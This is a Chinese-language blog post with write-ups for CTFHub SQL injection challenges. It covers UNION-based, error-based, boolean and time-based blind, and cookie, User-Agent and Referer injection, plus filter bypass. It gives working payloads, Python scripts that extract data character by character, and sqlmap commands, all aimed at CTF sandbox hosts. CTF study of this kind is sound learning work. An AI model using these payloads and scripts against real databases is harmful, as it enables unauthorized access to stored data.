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CTFHub题目WriteUP地址汇总

本来不想分段的，但是后来发现要写的东西太多了，就写了个首页，汇总一下地址，大家见谅

首页地址

SQL注入

整数型注入

https://blog.csdn.net/weixin_51563603
https://blog.csdn.net/weixin_51563603/category_11269482.html
https://so.csdn.net/so/search/s.do?q=sql&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8%25E6%25BC%258F%25E6%25B4%259E&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_51563603/article/details/120101532
https://blog.csdn.net/weixin_51563603/category_11269482.html
https://blog.csdn.net/weixin_51563603/article/details/120927483


本人是第一次接触SQL注入，所以也是得上网搜WP。。。
所幸我在网上找到了一位大佬，他已经整理的肥肠好了，这里引用一下博客园的 ZM思 大佬：网址，Ta总结了各种包括爆库、爆
表、爆字段、爆数据的各种方法，肥肠感谢Ta。
有了Ta的帮助我也是成功获取到了flag

本题结束。

字符型注入

有了上题的基础，我也是大概知道了SQL注入的流程，就是通过网页漏洞去插入查询语句找到数据库中的信息，那么这次字符型
的和整数型的有什么区别吗？首先输入1试试

可以看到它在我们输入的1两边分别加入了一个单引号，那么如果能规避掉这个单引号再插入查询语句就可以了。
有很多种方法，这边我就使用这一种：

输入 -1' union XXX and '1'='1，XXX表示你要爆的语句（详细语句请看上题中介绍过的网址）
简单解释一下这个语句，首先让其id=’-1’是为了没有查询到数据从而不会让查询到的数据覆盖我们想查询的数据比如数据表名、
字段等等，然后用and ‘1’=‘1‘(最后一个单引号是自动补上去的)是为了在补上单引号时防止出现错误。
首先爆数据库名： -1' union select databases(),1 and '1'='1，可以得到数据库名是sqli

https://www.cnblogs.com/wjw-zm/p/12670106.html
https://www.cnblogs.com/wjw-zm/p/12670106.html


但是我不知道为什么换一个位置的查询语句不行（有大佬的话可以教一教我，我也搞了好久）：

再对sqli这个数据库进行爆出所有表名，可以看到有news和flag两张表（很明显flag在flag里，听君一席话如听一席话）
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' and '1'='1

再接着爆出所有字段名：

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and

table_name='flag' and '1'='1

接着就可以去查询了，记得要在数据表后加’#’，要不然出不来：（这边为什么要加#我也不太懂，网上也没找到，希望大佬能解
释下）

-1' union select flag,1 from flag# and '1'='1

同样这样也是可以的：（和之前查询数据库名对应，为什么前面换了位置不行而这里换了位置就可以？）

-1' union select 1,flag from flag# and '1'='1



-1' union select 1,flag from flag# and '1'='1

本题结束。

报错注入

思想和上面的题目差不多，输入查询后发现数据库报错信息会出现在下方黑字中，于是可以想方法绕过，让我们需要的信息也出

现在报错中。

这就需要用到xmlupdate 和 extractvalue函数了。。
这边推荐一个网址，这里的作者讲的很好解释了各种方法，我就不多赘述了：网址

不过有个小点要提一下，我在爆flag后半段时出现了和作者不太一样的情况。。

我只出现了一个’}’，其实你去搜索一下mid函数是干嘛用的，就知道了。。
把32改小一点，就可以看到出来的结果的前半部分和之前的部分重复了

https://www.cnblogs.com/threesoil/p/12458580.html


其实在前面的flag后面加个}就可以啦！
本题结束。

布尔盲注

去了解了一下布尔注入，其实就是通过它回显给你的true或者false来判断数据库、表、字段等信息。
因为工作量比较大所以可以考虑用python写自动化脚本
因为时间有限我就直接引用一位大佬的代码好了，记得要把URLOPEN改成自己的url

import requests
import time

urlOPEN = 'http://challenge-45c8b825d982f37a.sandbox.ctfhub.com:10800/?id='
starOperatorTime = []
mark = 'query_success'

def database_name():
    name = ''
    for j in range(1, 5):
        for i in 'sqcwertyuioplkjhgfdazxvbnm':
            url = urlOPEN + 'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables
))' % (
            j, i)
            # print(url+'%23')
            r = requests.get(url)
            if mark in r.text:
                name = name + i

                print(name)

                break
    print('database_name:', name)

database_name()

def table_name():
    list = []
    for k in range(0, 4):
        name = ''
        for j in range(1, 9):
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url = urlOPEN + 'if(substr((select table_name from information_schema.tables where table_schema=
database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (



database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
                k, j, i)
                # print(url+'%23')
                r = requests.get(url)
                if mark in r.text:
                    name = name + i
                    break
        list.append(name)
    print('table_name:', list)

# start = time.time()
table_name()

def column_name():
    list = []
    for k in range(0, 3):  # 判断表里最多有4个字段
        name = ''
        for j in range(1, 9):  # 判断一个 字段名最多有9个字符组成
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url = urlOPEN + 'if(substr((select column_name from information_schema.columns where table_name=
"flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))'
 % (
                k, j, i)
                r = requests.get(url)
                if mark in r.text:
                    name = name + i
                    break
        list.append(name)
    print('column_name:', list)

column_name()

def get_data():
    name = ''
    for j in range(1, 50):  # 判断一个值最多有51个字符组成
        for i in range(48, 126):
            url = urlOPEN + 'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from informa
tion_schema.tables))' % (
            j, i)
            r = requests.get(url)
            if mark in r.text:
                name = name + chr(i)
                print(name)
                break
    print('value:', name)

get_data()



flag就能出来了。

时间盲注

这次是啥都不返回了，只能靠if判断后sleep的时间来解决啦
前面介绍了一些手工注入的方法，现在我们可以试着去使用工具了：sqlmap
github上可以下载sqlmap
下载好后对应目录打开cmd，输入：
python sqlmat.py -u http://challenge-e1cdb74d6a351b8b.sandbox.ctfhub.com:10800/?id=1 --dbs

爆出库名：

（期间让你选择Y/n的话，你直接回车或者输入Y就行）



接着输入

python sqlmap.py -u http://challenge-e1cdb74d6a351b8b.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables

在sqli库下爆出表名：

接着输入

python sqlmap.py -u http://challenge-e1cdb74d6a351b8b.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns

-dump

在sqli库、flag表下爆出字段名和数据

不得不说工具是真的方便。。

MySQL结构

还是和上题一样，使用sqlmap依次爆破库、表、字段、数据，就可以得到flag。
当然想看仔细教程的朋友，我这边也给个大佬的链接：网址(感谢这位叫hangshao0.0的朋友)

这边再分享一个更厉害的大佬写的一个炒鸡详细的sqlmap使用过程（我甚至用他的教程把我自己的网站日穿了笑死hhh）：网址

Cookie注入

https://blog.csdn.net/weixin_45254208/article/details/108155779
https://www.cnblogs.com/php09/p/10404560.html#autoid-1-0-0


这次我们需要用到抓包软件burp suite去抓包
修改cookie中的id后我们可以发现存在SQL注入漏洞

为了方便起见直接可以上python脚本：



import requests

def mySQL(payload):
   url = 'http://challenge-196392c6b0acebd8.sandbox.ctfhub.com:10800/'
   header = {
       "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94
.0.4606.71 Safari/537.36",

       "Cookie": "id=-1 " + payload + "; hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F",
       # 要让id=-1，查询不出数据，我们想要的信息才能正常返回！

   }

   r = requests.get(url, headers=header)
   return r.text

print(mySQL("union select 1,group_concat(schema_name)from information_schema.schemata"))  # 爆出所有库名

print(mySQL("union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'"))
  # 爆出所有表名

print(mySQL("union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' 
and table_name='srdnlrlphq'"))  # 爆出所有字段名

print(mySQL("union select 1,group_concat(icehhmfjxt) from sqli.srdnlrlphq"))  # 爆出所有数据



不过要注意的一点是id要设置成查询不出数据的状态，比如-1，我们想要的信息才能正常返回！

UA注入

这次的注入点设置在了User Agent里，还是跟上题类似，打开抓包软件分析，换汤不换药，不过这次我们直接手动注入就好了







不过就在快要出答案的时候遇到了一些小插曲，我一直爆不出它的字段名，因为爆所有数据的命令： union select

1,group_concat([字段]) from [数据库].[数据表]需要其字段名，但是我把爆出来的字段名后却爆不出数据，当时有点懵。。

其实你只要改变select 后面的两个值，多试几次，也可以把数据搞出来。。（我试了好几次，在*,3的时候出来了flag）



其实之后发现是我打错了，字太小没看清，果然到底还是程序员本身的问题。。。（哭

本题结束

refer注入



关于http的refer参数
HTTP Referer是header的一部分，当浏览器向web服务器发送请求的时候，一般会带上Referer，告诉服务器我是从哪个页面链
接过来的，服务器籍此可以获得一些信息用于处理。比如从我主页上链接到一个朋友那里，他的服务器就能够从HTTP Referer中
统计出每天有多少用户点击我主页上的链接访问他的网站。

如题，通过抓包软件分析后发现header里并没有referer这个参数，于是想到可以自己加，下面是效果：
(注：本题使用的注入Payload都可以参考上一道题，其实都只是换了个注入的地方，注入的方式都是一样的)

接下来就和之前类似了，又是换汤不换药：





本题结束



过滤空格

这次来了个比较有意思的，不和上面的几个类似，这次有SQL过滤
正常注入会返回Hacker！！！

那么去网上查一下，发现/**/可以代替空格
还有可能可以替代空格的字符：//、#、%09、%0A、%0D、%20等，遇到哪个不行其他的都可以试试

-1/**/union/**/select/**/1,group_concat(schema_name)from/**/information_schema.schemata

-

1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema

='sqli'



-

1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_sche

ma='sqli'/**/and/**/table_name='hgwbgzhrvb'

'-1/**/union/**/select/**/1,group_concat(jcxeopegef)/**/from/**/sqli.hgwbgzhrvb'

如果不想手动写替代，这里建议使用python的replace方法，非常简单：

本题结束

(持续更新ing…)
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